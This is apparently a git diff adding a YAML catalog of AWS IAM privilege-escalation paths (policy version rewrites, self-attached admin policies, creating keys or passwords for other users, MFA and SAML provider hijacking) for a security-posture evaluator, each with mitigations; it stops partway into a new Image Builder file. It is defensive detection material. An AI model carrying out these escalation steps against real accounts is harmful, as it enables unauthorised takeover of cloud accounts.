aws-iam-createpolicyversion-self + provider: aws + service: iam + title: Create a new default version of a customer-managed policy attached to the source + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreatepolicyversion + source_revision: 171e422299 + summary: The source can obtain administrator privileges by rewriting a customer-managed policy attached to itself (directly, via a group, or to its role). + requires: + all_of: + - action: iam:CreatePolicyVersion + resource: "{source.attached_policy_arn}" + target: + kind: aws_account_admin + selector: + same_as_source: true + source_attached_policy_covered_by: iam:CreatePolicyVersion + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + - source_attached_policy_version_capacity + conditions: + - id: policy_version_limit + description: A managed policy holds at most 5 versions; when full, iam:DeletePolicyVersion on that policy is also needed. iam:SetDefaultPolicyVersion is NOT required (the set-as-default flag is part of CreatePolicyVersion). + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Do not grant iam:CreatePolicyVersion on policies attached to the same principal; scope it to specific policy ARNs owned by administrators and enforce permissions boundaries / SCPs that deny policy edits outside an admin path. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreatePolicyVersion.html + notes: Also lets the source edit any other covered policy; when the covered policy is attached to other principals those principals become admin too, but the edge drawn here is self-escalation of the source. AWS-managed policies cannot be versioned by customers. + +- id: aws-iam-setdefaultpolicyversion-self + provider: aws + service: iam + title: Switch the default version of a customer-managed policy attached to the source + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamsetdefaultpolicyversion + source_revision: 171e422299 + summary: The source can obtain the privileges of a more permissive stored version of a policy attached to itself. + requires: + all_of: + - action: iam:SetDefaultPolicyVersion + resource: "{source.attached_policy_arn}" + target: + kind: aws_account_admin + selector: + same_as_source: true + source_attached_policy_covered_by: iam:SetDefaultPolicyVersion + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + - source_attached_admin_policy_version_exists + conditions: + - id: more_permissive_version_exists + description: Only escalates if a non-default version of a covered policy grants more (ideally admin) permissions than the current default; the evaluator should compare stored policy versions. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Delete obsolete permissive policy versions and restrict iam:SetDefaultPolicyVersion to administrators. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_SetDefaultPolicyVersion.html + notes: Severity becomes critical when a stored non-default version is admin-equivalent. + +- id: aws-iam-createaccesskey-other-user + provider: aws + service: iam + title: Create access keys for another IAM user + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreateaccesskey-iamdeleteaccesskey + source_revision: 171e422299 + summary: The source can obtain the privileges of IAM users on which it can create access keys. + requires: + all_of: + - action: iam:CreateAccessKey + resource: "{target.arn}" + target: + kind: aws_user + selector: + resource_permission_covers_target: iam:CreateAccessKey + scope: same_account + aggregate_as: "IAM users covered by iam:CreateAccessKey in {account}" + preconditions: + - iam_user_access_key_capacity + conditions: + - id: access_key_limit + description: A user can hold at most two access keys; if the target already has two, the caller needs iam:DeleteAccessKey and a way to learn an existing key ID, such as iam:ListAccessKeys on that user. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Scope iam:CreateAccessKey to "arn:aws:iam::*:user/${aws:username}" (self-service only) and alert on CreateAccessKey for other users. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html + notes: Target users whose identity policies require MFA (aws:MultiFactorAuthPresent) will not get those permissions with plain access keys. + +- id: aws-iam-createloginprofile-other-user + provider: aws + service: iam + title: Create a console password for another IAM user + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreateloginprofile--iamupdateloginprofile + source_revision: 171e422299 + summary: The source can obtain the privileges of IAM users without a console password on which it can create one. + requires: + all_of: + - action: iam:CreateLoginProfile + resource: "{target.arn}" + target: + kind: aws_user + selector: + resource_permission_covers_target: iam:CreateLoginProfile + has_login_profile: false + scope: same_account + aggregate_as: "IAM users without a console password covered by iam:CreateLoginProfile in {account}" + preconditions: + - target_console_login_without_mfa + conditions: + - id: target_mfa + description: If the target has an MFA device enrolled, console sign-in requires it and the technique is blocked. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:CreateLoginProfile to self or administrators and require MFA for all console users. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateLoginProfile.html + notes: "" + +- id: aws-iam-updateloginprofile-other-user + provider: aws + service: iam + title: Reset the console password of another IAM user + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreateloginprofile--iamupdateloginprofile + source_revision: 171e422299 + summary: The source can obtain the privileges of IAM users whose console password it can change. + requires: + all_of: + - action: iam:UpdateLoginProfile + resource: "{target.arn}" + target: + kind: aws_user + selector: + resource_permission_covers_target: iam:UpdateLoginProfile + has_login_profile: true + scope: same_account + aggregate_as: "IAM users with a console password covered by iam:UpdateLoginProfile in {account}" + preconditions: + - target_console_login_without_mfa + conditions: + - id: target_mfa + description: If the target has an MFA device enrolled, console sign-in requires it and the technique is blocked. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:UpdateLoginProfile to self (with old password) or administrators and require MFA for all console users. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateLoginProfile.html + notes: The legitimate user is locked out, so this is noisy. + +- id: aws-iam-createservicespecificcredential-other-user + provider: aws + service: iam + title: Create or reset service-specific credentials for another IAM user + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreateservicespecificcredential--iamresetservicespecificcredential + source_revision: 171e422299 + summary: The source may obtain service-scoped privileges of IAM users for which it can create or reset service-specific credentials. + requires: + all_of: [] + any_of: + - - action: iam:CreateServiceSpecificCredential + resource: "{target.arn}" + - - action: iam:ResetServiceSpecificCredential + resource: "{target.arn}" + target: + kind: aws_user + scope: same_account + aggregate_as: "IAM users covered by service-specific credential management in {account}" + preconditions: + - service_specific_credential_ready + conditions: + - id: service_scoped_credential + description: The credential works only for the selected service; the target must have a usable service permission, and API-key services also need bearer-token authorization. + - id: reset_requires_existing_credential + description: The Reset variant only applies when the target already has a service-specific credential. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: medium + mitigation: Restrict service-specific credential management to self (${aws:username}) and administrators. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateServiceSpecificCredential.html + notes: Create and Reset use their own target-scoped IAM action. An inactive credential also needs UpdateServiceSpecificCredential, and a full two-credential slot needs DeleteServiceSpecificCredential before Create. Partial privilege gain only. + +- id: aws-iam-uploadsshpublickey-other-user + provider: aws + service: iam + title: Upload an SSH public key for another IAM user (CodeCommit) + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamuploadsshpublickey--iamdeactivatemfadevice + source_revision: 171e422299 + summary: The source may gain the target IAM user's CodeCommit GitPull or GitPush access by uploading an SSH public key. + requires: + all_of: + - action: iam:UploadSSHPublicKey + resource: "{target.arn}" + target: + kind: aws_user + selector: + resource_permission_covers_target: iam:UploadSSHPublicKey + scope: same_account + aggregate_as: "IAM users covered by iam:UploadSSHPublicKey in {account}" + preconditions: + - target_codecommit_git_permission + - target_ssh_public_key_capacity + conditions: + - id: service_scoped_credential + description: IAM SSH keys authenticate CodeCommit Git operations, subject to the target user's GitPull or GitPush permissions; they do not authorize CodeCommit API actions. + - id: ssh_key_limit + description: An IAM user can hold at most five SSH public keys; replacing one requires DeleteSSHPublicKey and a way to learn its key ID, such as ListSSHPublicKeys. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: low + mitigation: Restrict iam:UploadSSHPublicKey to self (${aws:username}). + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_UploadSSHPublicKey.html + notes: The DeactivateMFADevice half of the same HackTricks section is excluded (it needs the target's password already). + +- id: aws-iam-attachuserpolicy-self + provider: aws + service: iam + title: Attach a managed policy to the source IAM user + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachuserpolicy--iamattachgrouppolicy + source_revision: 171e422299 + summary: The source IAM user can obtain administrator privileges by attaching a managed policy to itself. + requires: + all_of: + - action: iam:AttachUserPolicy + resource: "{source.arn}" + request_context: + iam:PolicyARN: + admin_managed_policy: true + target: + kind: aws_account_admin + selector: + same_as_source: true + source_kind: aws_user + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + conditions: + - id: policyarn_condition + description: An iam:PolicyARN condition limiting which managed policies may be attached removes or limits the escalation. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Never grant iam:AttachUserPolicy on the principal itself; constrain with iam:PolicyARN and permissions boundaries. + references: [] + notes: Granting it on other users is an edge to those users only if the source can also act as them; that is covered by credential techniques, not here. + +- id: aws-iam-putuserpolicy-self + provider: aws + service: iam + title: Put an inline policy on the source IAM user + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachrolepolicy-stsassumerole--iamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy + source_revision: 171e422299 + summary: The source IAM user can obtain administrator privileges by writing an inline policy on itself. + requires: + all_of: + - action: iam:PutUserPolicy + resource: "{source.arn}" + target: + kind: aws_account_admin + selector: + same_as_source: true + source_kind: aws_user + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + conditions: [] + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Never grant iam:PutUserPolicy on the principal itself; use permissions boundaries for delegated IAM administration. + references: [] + notes: "" + +- id: aws-iam-attachgrouppolicy-self + provider: aws + service: iam + title: Attach a managed policy to a group the source user belongs to + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachuserpolicy--iamattachgrouppolicy + source_revision: 171e422299 + summary: The source IAM user can obtain administrator privileges by attaching a managed policy to one of its groups. + requires: + all_of: + - action: iam:AttachGroupPolicy + resource: "{source.group_arn}" + request_context: + iam:PolicyARN: + admin_managed_policy: true + target: + kind: aws_account_admin + selector: + same_as_source: true + source_kind: aws_user + source_group_covered_by: iam:AttachGroupPolicy + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + conditions: + - id: policyarn_condition + description: An iam:PolicyARN condition limiting attachable policies removes or limits the escalation. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Do not let users modify policies of groups they belong to. + references: [] + notes: "{source.group_arn} is the ARN of one of the source's groups (the target is the account-admin entity, which has no ARN)." + +- id: aws-iam-putgrouppolicy-self + provider: aws + service: iam + title: Put an inline policy on a group the source user belongs to + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachrolepolicy-stsassumerole--iamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy + source_revision: 171e422299 + summary: The source IAM user can obtain administrator privileges by writing an inline policy on one of its groups. + requires: + all_of: + - action: iam:PutGroupPolicy + resource: "{source.group_arn}" + target: + kind: aws_account_admin + selector: + same_as_source: true + source_kind: aws_user + source_group_covered_by: iam:PutGroupPolicy + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + conditions: [] + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Do not let users modify policies of groups they belong to. + references: [] + notes: "{source.group_arn} is the ARN of one of the source's groups (the target is the account-admin entity, which has no ARN)." + +- id: aws-iam-attachrolepolicy-self + provider: aws + service: iam + title: Attach a managed policy to the source's own role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachrolepolicy-stsassumerole--iamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy + source_revision: 171e422299 + summary: The source role can obtain administrator privileges by attaching a managed policy to its own role. + requires: + all_of: + - action: iam:AttachRolePolicy + resource: "{source.arn}" + request_context: + iam:PolicyARN: + admin_managed_policy: true + target: + kind: aws_account_admin + selector: + same_as_source: true + source_kind: aws_role + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + conditions: + - id: policyarn_condition + description: An iam:PolicyARN condition limiting attachable policies removes or limits the escalation. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Never grant iam:AttachRolePolicy on the role itself; use permissions boundaries for delegated role administration. + references: [] + notes: "{source.arn} is the role ARN (not the session ARN)." + +- id: aws-iam-putrolepolicy-self + provider: aws + service: iam + title: Put an inline policy on the source's own role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachrolepolicy-stsassumerole--iamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy + source_revision: 171e422299 + summary: The source role can obtain administrator privileges by writing an inline policy on its own role. + requires: + all_of: + - action: iam:PutRolePolicy + resource: "{source.arn}" + target: + kind: aws_account_admin + selector: + same_as_source: true + source_kind: aws_role + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + conditions: [] + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Never grant iam:PutRolePolicy on the role itself; use permissions boundaries for delegated role administration. + references: [] + notes: "{source.arn} is the role ARN (not the session ARN)." + +- id: aws-iam-modify-assumable-role-policy + provider: aws + service: iam + title: Grant permissions to a role the source can already assume + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachrolepolicy-stsassumerole--iamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy + source_revision: 171e422299 + summary: The source can obtain administrator privileges through a role it can assume and whose policies it can change. + requires: + any_of: + - - action: iam:AttachRolePolicy + resource: "{source.assumable_role_arn}" + request_context: + iam:PolicyARN: + admin_managed_policy: true + - - action: iam:PutRolePolicy + resource: "{source.assumable_role_arn}" + target: + kind: aws_account_admin + selector: + via_assumable_role_covered_by: iam:AttachRolePolicy + scope: same_account + aggregate_as: "Administrator of {account} (via an assumable role)" + preconditions: + - assumable_role_allows_account_admin + conditions: + - id: same_assumable_role + description: The role whose policies the source can change must be one it can assume; {source.assumable_role_arn} already restricts the requirement to such roles. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Separate who can edit a role's permissions from who can assume it; apply permissions boundaries on delegated role administration. + references: [] + notes: "{source.assumable_role_arn} is a role the source can already assume (the trust admits it, and its identity policy allows sts:AssumeRole on the role unless the trust names its ARN in the same account), so no separate sts:AssumeRole requirement is listed. via_assumable_role_covered_by applies to whichever any_of action matched (AttachRolePolicy or PutRolePolicy)." + +- id: aws-iam-createrole-attach-assume + provider: aws + service: iam + title: Create a new role trusting the source, grant it admin, and assume it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachrolepolicy-stsassumerole--iamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy + source_revision: 171e422299 + summary: The source can obtain administrator privileges through a new role it creates, grants permissions to and assumes. + requires: + all_of: + - action: iam:CreateRole + resource: "*" + bind: new_role + request_context: + iam:PermissionsBoundary: + absent: true + any_of: + - - action: iam:AttachRolePolicy + resource: "*" + bind: new_role + request_context: + iam:PolicyARN: + admin_managed_policy: true + - - action: iam:PutRolePolicy + resource: "*" + bind: new_role + target: + kind: aws_account_admin + selector: + same_as_source: true + scope: same_account + aggregate_as: "Administrator of {account} (via a newly created role)" + conditions: + - id: permissions_boundary_condition + description: Creating an unbounded administrator role requires CreateRole to allow a request without iam:PermissionsBoundary. A role forced to carry a boundary needs a separate assessment of that boundary's effective permissions. + - id: resource_path_restriction + description: If CreateRole/AttachRolePolicy/PutRolePolicy are restricted to a role path or name pattern, the actions must all cover the same role ARN. + - id: same_account_trust_no_assumerole_needed + description: The source writes the new role's trust policy naming its own ARN; in the same account that trust alone authorizes sts:AssumeRole, so no identity grant is required (an explicit identity-policy or SCP deny on sts:AssumeRole still blocks it). + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Require iam:PermissionsBoundary on iam:CreateRole for delegated administrators and restrict role attach/put to boundary-carrying roles. + references: + - https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_boundaries.html + notes: "The AttachRolePolicy branch tries AdministratorAccess and collected customer-managed policies whose default version clearly grants unrestricted actions and resources. Every action must cover the same newly creatable role ARN, and the source must be able to assume that role after creation." + +- id: aws-iam-addusertogroup + provider: aws + service: iam + title: Add the source user to an IAM group + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamaddusertogroup + source_revision: 171e422299 + summary: The source IAM user can obtain the privileges of IAM groups it can add itself to. + requires: + all_of: + - action: iam:AddUserToGroup + resource: "{target.arn}" + target: + kind: aws_group + selector: + resource_permission_covers_target: iam:AddUserToGroup + source_kind: aws_user + scope: same_account + aggregate_as: "IAM groups covered by iam:AddUserToGroup in {account}" + preconditions: + - group_adds_policy_to_source + conditions: [] + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:AddUserToGroup to administrators or to specific low-privilege groups. + references: [] + notes: The Resource of iam:AddUserToGroup is the group ARN. Only IAM users can be group members. The evaluator confirms a new effective self-policy edit, administrator policy attachment, or assumption of a specific trusted role; other policy gains remain unresolved until their action and resource are joined to an outcome. + +- id: aws-iam-updateassumerolepolicy + provider: aws + service: iam + title: Rewrite a role's trust policy to allow the source + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdateassumerolepolicy + source_revision: 171e422299 + summary: The source can obtain the privileges of roles whose trust policy it can rewrite. + requires: + all_of: + - action: iam:UpdateAssumeRolePolicy + resource: "{target.arn}" + target: + kind: aws_role + selector: + resource_permission_covers_target: iam:UpdateAssumeRolePolicy + scope: same_account + aggregate_as: "IAM roles covered by iam:UpdateAssumeRolePolicy in {account}" + preconditions: + - role_trust_rewrite_assumable + conditions: + - id: assumerole_grant + description: If the rewritten trust names the source principal ARN (same account) no identity-policy sts:AssumeRole is needed; if it names only the account root, sts:AssumeRole on the role is also required. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Restrict iam:UpdateAssumeRolePolicy to administrators; monitor trust-policy changes. + references: + - https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic-cross-account.html + notes: Service-linked roles cannot have their trust policy edited and must be excluded from the target set. + +- id: aws-iam-updatesamlprovider + provider: aws + service: iam + title: Replace the metadata of a SAML provider trusted by roles + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdatesamlprovider-iamlistsamlproviders-iamgetsamlprovider + source_revision: 171e422299 + summary: The source can obtain the privileges of roles trusting a SAML provider whose metadata it can replace. + requires: + all_of: + - action: iam:UpdateSAMLProvider + resource: "{target.saml_provider_arn}" + target: + kind: aws_role + selector: + trust_allows_saml_provider_covered_by: iam:UpdateSAMLProvider + scope: same_account + aggregate_as: "Roles trusting a SAML provider covered by iam:UpdateSAMLProvider in {account}" + conditions: + - id: trust_conditions_on_saml_attributes + description: Trust conditions on SAML attributes (e.g. saml:aud, saml:sub) must be satisfiable; a forged assertion normally can satisfy them. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Restrict iam:UpdateSAMLProvider/CreateSAMLProvider to administrators; alert on SAML provider changes. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html + notes: "Requires a new placeholder {target.saml_provider_arn}: the SAML provider ARN named in the target role's trust policy. sts:AssumeRoleWithSAML needs no identity permissions." + +- id: aws-iam-recreate-samlprovider + provider: aws + service: iam + title: Replace a trusted SAML provider with an attacker-controlled one of the same name + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreateopenidconnectprovider--iamcreatesamlprovider--bring-your-own-identity-provider + source_revision: 171e422299 + summary: The source can obtain the privileges of roles trusting a SAML provider by deleting it and registering a provider with the same name and its own signing metadata. + requires: + all_of: + - action: iam:DeleteSAMLProvider + resource: "{target.saml_provider_arn}" + - action: iam:CreateSAMLProvider + resource: "{target.saml_provider_arn}" + target: + kind: aws_role + selector: + trust_allows_saml_provider_covered_by: iam:DeleteSAMLProvider + scope: same_account + aggregate_as: "Roles trusting a SAML provider the source can recreate in {account}" + conditions: + - id: trust_conditions_on_saml_attributes + description: Trust conditions on SAML attributes (saml:aud, saml:sub, saml:iss) must be satisfiable by an assertion the source signs; normally they are. + - id: disruption + description: Deleting the provider breaks legitimate federation until it is recreated, which is noisy. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Restrict iam:CreateSAMLProvider / DeleteSAMLProvider / UpdateSAMLProvider to administrators and alert on identity-provider changes. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateSAMLProvider.html + - https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_saml.html + notes: Registering a brand-new provider only escalates combined with a role that trusts it, which iam:CreateRole / iam:UpdateAssumeRolePolicy already grant directly (aws-iam-createrole-attach-assume, aws-iam-updateassumerolepolicy). The OIDC audience variant is aws-iam-oidcprovider-add-client-id and planting a provider that a trust names but that no longer exists is aws-iam-createsamlprovider-orphaned-trust / aws-iam-createoidcprovider-orphaned-trust. + +- id: aws-iam-createsamlprovider-orphaned-trust + provider: aws + service: iam + title: Register a SAML provider that a role trusts but that no longer exists + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreateopenidconnectprovider--iamcreatesamlprovider--bring-your-own-identity-provider + source_revision: 171e422299 + summary: The source can obtain the privileges of roles whose trust names a SAML provider ARN of the account that does not exist, by creating that provider with its own signing metadata. + requires: + all_of: + - action: iam:CreateSAMLProvider + resource: "{target.saml_provider_arn}" + target: + kind: aws_role + selector: + trust_federated_provider_missing: saml + scope: same_account + aggregate_as: "Roles trusting a missing SAML provider in {account}" + conditions: + - id: trust_conditions_on_saml_attributes + description: Trust conditions on SAML attributes (saml:aud, saml:sub, saml:iss) must be satisfiable by an assertion the source signs; normally they are. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Remove trust statements naming deleted identity providers and restrict iam:CreateSAMLProvider to administrators. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateSAMLProvider.html + notes: Needs the account's SAML provider inventory (iam:ListSAMLProviders); without it the targets are unresolved placeholders. + +- id: aws-iam-enable-attacker-mfa-device-other-user + provider: aws + service: iam + title: Enrol an attacker-controlled virtual MFA device on another user and mint its credentials + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreatevirtualmfadevice-iamenablemfadevice-and-the-target-users-access-keys + source_revision: 6fb9ac51fd + summary: The source can obtain MFA-authenticated sessions of IAM users on which it can enable a virtual MFA device it created and create access keys or a console password, including users whose permissions are gated on MFA or whose console sign-in is protected by MFA. + requires: + all_of: + - action: iam:CreateVirtualMFADevice + resource: "arn:{source.partition}:iam::{target.account}:mfa/*" + - action: iam:EnableMFADevice + resource: "{target.arn}" + any_of: + - - action: iam:CreateAccessKey + resource: "{target.arn}" + - - action: iam:CreateLoginProfile + resource: "{target.arn}" + - - action: iam:UpdateLoginProfile + resource: "{target.arn}" + target: + kind: aws_user + selector: + resource_permission_covers_target: iam:EnableMFADevice + scope: same_account + aggregate_as: IAM users on which the source can enrol its own MFA device and mint credentials in {account} + outcome: credentials + preconditions: + - mfa_enrollment_credential_ready + conditions: + - id: mfa_device_limit + description: An IAM user can hold at most eight MFA devices; a user already at the limit also needs iam:DeactivateMFADevice on the target. + - id: credential_state + description: CreateAccessKey needs fewer than two existing keys (or iam:DeleteAccessKey plus a known existing key ID); CreateLoginProfile needs the user to have no console password; UpdateLoginProfile needs an existing one. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:EnableMFADevice and iam:CreateVirtualMFADevice to self-service on the caller's own user (aws:username), and alert on a second MFA enrolment for a user that already has one. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_EnableMFADevice.html + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateVirtualMFADevice.html + - https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html + notes: Complements aws-iam-createaccesskey-other-user / aws-iam-createloginprofile-other-user / aws-iam-updateloginprofile-other-user by removing their MFA caveats (aws:MultiFactorAuthPresent-gated policies and MFA-protected console sign-in). GetSessionToken needs no IAM permission. The page notes the technique needs the target's access keys; the any_of supplies the credential-creation half that makes it reachable from configuration alone. + +- id: aws-iam-deactivate-mfa-loginprofile-other-user + provider: aws + service: iam + title: Remove another user's MFA device and set its console password + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamuploadsshpublickey--iamdeactivatemfadevice + source_revision: 6fb9ac51fd + summary: The source can obtain console access as MFA-protected IAM users by deactivating their MFA device and creating or resetting their console password. + requires: + all_of: + - action: iam:DeactivateMFADevice + resource: "{target.arn}" + any_of: + - - action: iam:CreateLoginProfile + resource: "{target.arn}" + - - action: iam:UpdateLoginProfile + resource: "{target.arn}" + target: + kind: aws_user + selector: + resource_permission_covers_target: iam:DeactivateMFADevice + scope: same_account + aggregate_as: IAM users whose MFA the source can remove and whose password it can set in {account} + outcome: credentials + preconditions: + - mfa_removal_password_ready + conditions: + - id: all_devices_removed + description: Every MFA device of the target must be deactivated (one DeactivateMFADevice per device serial) before password-only sign-in works. + - id: login_profile_state + description: CreateLoginProfile needs the user to have no console password; UpdateLoginProfile needs an existing one. + - id: mfa_gated_permissions_lost + description: Permissions conditioned on aws:MultiFactorAuthPresent are not usable from the resulting password-only session. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:DeactivateMFADevice and login-profile management on other users to break-glass administrators and alert on DeactivateMFADevice. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeactivateMFADevice.html + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateLoginProfile.html + notes: Lifts the target_mfa condition of aws-iam-createloginprofile-other-user / aws-iam-updateloginprofile-other-user. DeactivateMFADevice alone (password unknown) stays out of scope. + +- id: aws-iam-createpolicyversion-assumable-role + provider: aws + service: iam + title: Rewrite a managed policy attached to an assumable role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreatepolicyversion + source_revision: 8d6a341c8a + summary: A new default version of a customer-managed policy can grant administration to a role the source can assume. + requires: + all_of: + - action: iam:CreatePolicyVersion + resource: "{source.assumable_role_attached_policy_arn}" + target: + kind: aws_account_admin + selector: + via_assumable_role_attached_policy_covered_by: iam:CreatePolicyVersion + scope: same_account + outcome: scope_control + conditions: + - id: policy_version_capacity + description: A policy with five versions requires permission to delete a nondefault version before creation. + blockers: [scp_or_boundary_deny] + confidence: conditional + severity: critical + mitigation: Separate policy-version editing from role assumption and constrain the role with a boundary. + +- id: aws-iam-createuser-policy-accesskey + provider: aws + service: iam + title: Create a privileged IAM user and obtain its access key + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#common-iam-persistence + source_revision: b587e6bd26 + summary: The source can create a new IAM user, grant it administrator permissions, and obtain credentials independent of the source identity. + requires: + all_of: + - action: iam:CreateUser + resource: arn:{source.partition}:iam::{source.account}:user/* + bind: new_user + - action: iam:CreateAccessKey + resource: arn:{source.partition}:iam::{source.account}:user/* + bind: new_user + any_of: + - - action: iam:PutUserPolicy + resource: arn:{source.partition}:iam::{source.account}:user/* + bind: new_user + - - action: iam:AttachUserPolicy + resource: arn:{source.partition}:iam::{source.account}:user/* + bind: new_user + request_context: + iam:PolicyARN: + admin_managed_policy: true + target: + kind: aws_account_admin + selector: + any_principal_in_scope: true + scope: same_account + outcome: scope_control + aggregate_as: Administrator of {account} through a newly created IAM user + conditions: + - id: new_user_policy + description: The caller can choose an administrator-equivalent inline policy or attach an administrator-equivalent managed policy to the same new user, and retains its access key. + - id: effective_permissions + description: SCPs, permissions boundaries, session conditions and policy attachment restrictions must permit the resulting administrator actions. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Separate user creation from policy grants and credential issuance; restrict each action to approved identity administration. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateUser.html + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html + notes: The same new user must be covered by every action; managed-policy attachment additionally requires a policy ARN that actually grants the desired permissions. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/imagebuilder.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/imagebuilder.yaml new file mode 100644 index 0000000000..725d0efa07 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/imagebuilder.yaml @@ -0,0 +1,42 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS EC2 Image Builder privilege escalation techniques. +# Source: hacktricks-cloud aws-ec2-image-builder-privesc/README.md. + +- id: aws-imagebuilder-component-version-hijack + provider: aws + service: imagebuilder + title: Publish a newer component version consumed by a wildcard recipe and run the pipeline + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-image-builder-privesc/README.md#imagebuildercreatecomponent--imagebuilderstartimagepipelineexecution + source_revision: 171e422299 + summary: The source can obtain the privileges of the infrastructure 